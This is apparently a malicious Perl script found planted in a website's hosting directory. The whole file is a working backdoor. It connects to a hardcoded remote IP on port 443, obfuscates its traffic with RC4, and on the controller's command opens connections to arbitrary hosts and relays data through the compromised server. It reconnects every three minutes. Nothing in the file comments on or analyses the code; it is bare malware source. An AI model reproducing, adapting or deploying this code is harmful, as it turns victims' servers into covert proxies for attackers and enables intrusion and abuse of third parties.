/home/ramtczxy/emilypoultryfarm.com/x26721.pl
#!/usr/bin/env perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);

my $host = '62.60.131.203';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); }

sub Rc4_crypt {

	 my $passw = shift(@_);

	 my $length = shift(@_);

	 my $buff0 = shift(@_);

	 my $start = shift(@_);

	 my $sz = shift(@_);

	 my $rc4 = "\x00" x 256;

	 my $pockemon0 = 0;

	 my $pockemon1 = 0;

	 my $pockemon2 = 0;

	 my $pockemon3 = 0;

	 my $pockemon4 = 0;

	 my $pockemon7 = 0;

	 my $pockemon8 = 0;

	 my $rcx = $sz;

	 my $rsi = 0;

	 my $rbx = 0;

	 my $gs = 0;

	 vec($rc4, $_, 8) = $_ for 0..255;

	 do {

		 vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));

		 $rsi++;

		 $rbx++;

		 $rcx--;

		 if ($rbx == $length) {

			 $rbx = 0;
		}

	} while($rcx > 0);


	 while(1) {

		 if ($gs == 0) {

			 $pockemon2 = 0;

			 $pockemon3 = $length;
		}

		 if ($gs != 0) {

			 $gs = 0;

			 $pockemon2++;

			 if (--$pockemon3 == 0) { next; }

		}

		 $pockemon7 = vec($rc4, $pockemon0, 8);

		 $pockemon1 += vec($$passw, $pockemon2, 8);

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon1 += $pockemon7;

		 $pockemon1 = $pockemon1 & 255;

		 vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8);

		 vec($rc4, $pockemon1, 8) = $pockemon7;

		 $pockemon0++;

		 $pockemon0 = $pockemon0 & 255;

		 if ($pockemon0 != 0) {

			 $gs = 1;

			 next;
		}

		 $pockemon4 = $sz;

		 $pockemon1 = 0;

		 $pockemon0 = 0;

		 $pockemon2 = 0;

		 $pockemon3 = 0;

		 while(1) {

			 $pockemon2++;

			 $pockemon2 = $pockemon2 & 255;

			 $pockemon7 = vec($rc4, $pockemon2, 8);

			 $pockemon1 += $pockemon7;

			 $pockemon1 = $pockemon1 & 255;

			 $pockemon8 = vec($rc4, $pockemon1, 8);

			 vec($rc4, $pockemon2, 8) = $pockemon8;

			 vec($rc4, $pockemon1, 8) = $pockemon7;

			 $pockemon8 += $pockemon7;

			 $pockemon8 = $pockemon8 & 255;

			 vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8);

			 $pockemon3++;

			 if (--$pockemon4 == 0)
			 {
				 last;
			 }

		}

		 last;
	}

	 $rsi = 0;

	 $rcx = $sz;

	 $rbx = 0;

	 do {

		 vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8));

		 $rsi++;

		 $rbx++;

		 $rcx--;

		 if ($rbx == $length) {

			 $rbx = 0;
		}

	} while($rcx > 0);

}

sub bccnct {

	 my $host = shift(@_);

	 my $port = shift(@_);

	 my $remaining = 0;

	 my $remaining4 = 0;

	 my $domain;

	 my $port0;

	 my @socketarr;

	 my @socketarray;

	 my $buffer = "\x00" x 100;

	 my $buffernull = "\x00" x 3;

	 my $buffer0 = "\x00" x 65536;

	 my $buffer1 = "\x00" x 65536;

	 my $isExit = 0;

	 my $_ret0 = 0;

	 my $ecx = 0;

	 my $eax = 0;

	 my $data = 0;

	 my $_ret = 0;

	 my $ebx = 0;

	 my $edx = 0;

	 my $counter = 0;

	 my $countcc = 0;

	 my $rin = '';

	 my $flags;

	 my $str_wec = "\x00\x00";

	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }

	 my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";

	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));

	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);

	 setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536);

     setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536);

	 my $paddr = sockaddr_in($$port, inet_aton($$host));

	 unless(connect($socketarr[0], $paddr)) { goto close0; }

	 substr($buffer, 0, 50) = $xordata;

	 substr($buffer, 50, 2) = "\xFF\xFF";

	 substr($buffer, 54, 11) = "Perl script";

	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);

	 syswrite($socketarr[0], $buffer, length($buffer));

	 while(1) {

		 $countcc = 0;

		 $rin = '';

		 for (my $i = 1; $i < 200; $i++) {

			 if ($socketarray[$i] == 1) {

				 vec($rin, fileno($socketarr[$i]), 1) = 1;

				 $countcc++;
			 }
		 }

		 if ($countcc > 0) {

			 unless (select($rin, undef, undef, 0.001)) { goto next__; }

			 for (my $i = 1; $i < 200; $i++) {

				 if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) {

					 $data = sysread($socketarr[$i], $buffer1, 65530, 3);

					 unless ($data) {

						 $socketarray[$i] = 0;

						 close($socketarr[$i]);

						 vec($responce, 0, 8) = $i;

						 substr($responce, 1, 2) = "\x00\x00";

						 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);

						 syswrite($socketarr[0], $responce, 3, 0);

					 }

					 else {

						 vec($buffer1, 0, 8) = $i;

						 vec($str_wec, 0, 16) = $data;

						 substr($buffer1, 1, 1) = substr($str_wec, 1, 1);

						 substr($buffer1, 2, 1) = substr($str_wec, 0, 1);

						 Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3);

						 Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data);

						 syswrite($socketarr[0], $buffer1, 3 + $data);

					 }
				 }
			 }
		 }

		 next__:

		 if ($remaining4 != 4) {

			 $rin = '';

			 vec($rin, fileno($socketarr[0]), 1) = 1;

			 my $ret = select($rin, undef, undef, 0.01);

			 next if ($ret < 0);

			 if ($ret == 0) {

				 $counter++;

				 if ($counter == 100 * 60) {

					 $counter = 0;

					 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");

					 last if ($remaining != 0);

					 last if ($remaining4 != 0);

					 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);

					 syswrite($socketarr[0], $buffernull, length($buffernull));
				 }

				 next;
			}

		}

		 if ($remaining != 0 || $remaining4 == 4) {

			 if ($edx == 0) {

				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {

					 $isExit = 1;

					 last;

				}

				 elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) {

					 $socketarray[$ebx] = 0;

					 close($socketarr[$ebx]);

					 vec($responce, 0, 8) = $ebx;

					 substr($responce, 1, 2) = "\x00\x00";

					 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);

					 syswrite($socketarr[0], $responce, 3, 0);

				}

			}

			else {

				 $ecx = $edx;

				 $ecx = $ecx - $remaining;

				 $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4);

				 unless ($data) { last; }

				 $remaining += $data;

				 if ($edx == $remaining) {

					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);

					 if (vec($buffer0, 0, 8) == 0) {

						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));

						 $_ret0 = 0;

						 $socketarray[$ebx] = 1;

						 substr($responce, 0, 13) = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";

						 vec($responce, 0, 8) = $ebx;

						 setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1);

						 setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, 65536);

						 setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, 65536);

						 fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) | O_NONBLOCK);

						 if (vec($buffer0, 7, 8) == 3) {

							 $domain = substr($buffer0, 9, vec($buffer0, 8, 8));

							 substr($str_wec, 0, 1) = substr($buffer0, 9 + vec($buffer0, 8, 8) + 0, 1);

							 substr($str_wec, 1, 1) = substr($buffer0, 9 + vec($buffer0, 8, 8) + 1, 1);

							 $port0 = vec($str_wec, 0, 16);

						 }

						 elsif (vec($buffer0, 7, 8) == 1) {

							 $domain = sprintf("%d.%d.%d.%d", vec($buffer0, 8 + 0, 8), vec($buffer0, 8 + 1, 8), vec($buffer0, 8 + 2, 8), vec($buffer0, 8 + 3, 8));

							 substr($str_wec, 0, 1) = substr($buffer0, 12 + 0, 1);

							 substr($str_wec, 1, 1) = substr($buffer0, 12 + 1, 1);

							 $port0 =  vec($str_wec, 0, 16);

						 }

						 else {

							 goto close_;
						 }

						 eval {

							 my $paddr = sockaddr_in($port0, inet_aton($domain));

							 connect($socketarr[$ebx], $paddr);

							 vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1;

							 unless (select(undef, $win, undef, 1)) { goto close_; }

							 fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK);

							 substr($responce, 4, 1) = "\x00";

							 $_ret0 = 1;

						 };

						 close_:

						 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);

						 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);

						 syswrite($socketarr[0], $responce, length($responce));

						 if ($_ret0 == 0) {

							 $socketarray[$ebx] = 0;

							 close($socketarr[$ebx]);

							 vec($responce, 0, 8) = $ebx;

							 substr($responce, 1, 2) = "\x00\x00";

							 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);

							 syswrite($socketarr[0], $responce, 3, 0);

						 }

					}

					 elsif ($socketarray[$ebx] == 1) {

						 syswrite($socketarr[$ebx], $buffer0, $remaining, 4);


					}

					 $remaining = 0;
				}

			}

			 $remaining4 = 0;

		}

		else {

			 $eax = 4;

			 $eax = $eax - $remaining4;

			 $data = sysread($socketarr[0], $buffer0, $eax, $remaining4);

			 unless ($data) { last; }

			 $remaining4 += $data;

			 substr($buffernull, 0, 3) = "\x00\x00\x00";

			 $counter = 0;

			 if ($remaining4 == 4) {

				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);

				 $ebx = vec($buffer0, 1, 8);

				 substr($str_wec, 0, 1) = substr($buffer0, 3, 1);

				 substr($str_wec, 1, 1) = substr($buffer0, 2, 1);

				 $edx = vec($str_wec, 0, 16);

				 $_ret = 1;
			}

		}
	}

	 close0:

	 close($socketarr[0]);

	 for (my $i = 0; $i < 200; $i++) {

		 if ($socketarray[$i] == 1) { close($socketarr[$i]); }

	 }

	 if ($isExit == 1) { exit; }

	 return $_ret;

}

while(1)
{
	 bccnct(\$host, \$port);

	 sleep 180;
}